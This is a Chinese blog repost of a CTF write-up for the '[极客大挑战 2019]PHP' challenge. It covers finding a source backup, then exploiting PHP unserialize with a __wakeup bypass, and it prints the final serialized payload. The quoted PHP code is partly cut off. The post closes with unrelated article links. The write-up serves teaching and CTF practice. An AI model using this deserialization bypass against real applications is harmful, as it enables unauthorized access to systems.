博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[极客大挑战 2019]PHP
阅读量:4027 次
发布时间:2019-05-24

本文共 1205 字,大约阅读时间需要 4 分钟。

一个简单的代码审计题目。

题目提示有备份,那就应该有一个目录提供源码下载。扫了一下,有一个www.zip文件,下载。

打开以后,是三个php源码,其中最重要的是class.php,代码如下:

username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } }}?>

看了一下,这个其实是个反序列化题目。脚本如下:

username = $username; $this->password = $password; }}$a = new Name('admin',100);$b = serialize($a);echo ($b);?>

在这里插入图片描述

结果如下,但是那些<0x00>复制不下来,用%00代替。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把这个当参数上传,无果。
为什么呢,因为源码里面有一个__wakeup()魔术方法。绕过__wakeup()的方法为:将那串字符里面的2换为3即可。
加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失。
所以最后的参数是:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

在这里插入图片描述

转载地址:http://nxpbi.baihongyu.com/

你可能感兴趣的文章
Tomcat 6 数据源配置详解
查看>>
『网页制作』页面滚动HTML代码
查看>>
request得到select多选的值
查看>>
WSDL详解
查看>>
struts标签介绍大全
查看>>
logic:iterate用法详解
查看>>
关于导出数据为Excel的几种方式
查看>>
Display Tag使用小记
查看>>
如何给按钮加上链接功能
查看>>
深入MySQL数据库的索引
查看>>
Hashtable和HashMap的区别
查看>>
深入MySQL数据库的索引
查看>>
wml表单提交
查看>>
Log4J的配置详解
查看>>
JSP中EL表达式无效问题
查看>>
java中关于时间日期操作的常用函数
查看>>
Serializable java序列化
查看>>
用Eclipse MyEclipse WebLogic8.1开发第一个Web程序
查看>>
HTTP深入浅出
查看>>
http协议技术资料
查看>>